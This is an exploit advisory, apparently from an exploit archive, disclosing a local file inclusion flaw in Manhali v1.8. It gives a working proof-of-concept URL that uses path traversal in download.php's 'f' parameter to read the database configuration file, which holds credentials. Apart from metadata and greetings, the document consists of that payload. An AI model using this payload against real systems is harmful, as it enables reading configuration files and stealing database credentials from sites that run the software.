############################################ ### Exploit Title: Manhali v1.8 Local File Inclusion Vulnerability ### Date: 20/09/2012 ### Author: L0n3ly-H34rT ### Contact: l0n3ly_h34rt@hotmail.com ### My Site: http://se3c.blogspot.com/ ### Vendor Link: http://www.manhali.com/ ### Software Link: http://sourceforge.net/projects/manhali/files/manhali_1.8.zip/download ### Version : 1.8 ( may be old version is affect! i don't check ) ### Tested on: Linux/Windows ############################################ # P.O.C : http://127.0.0.1/manhali/includes/download.php?f=../includes/dbconfig.php ############################################ # Greetz to my friendz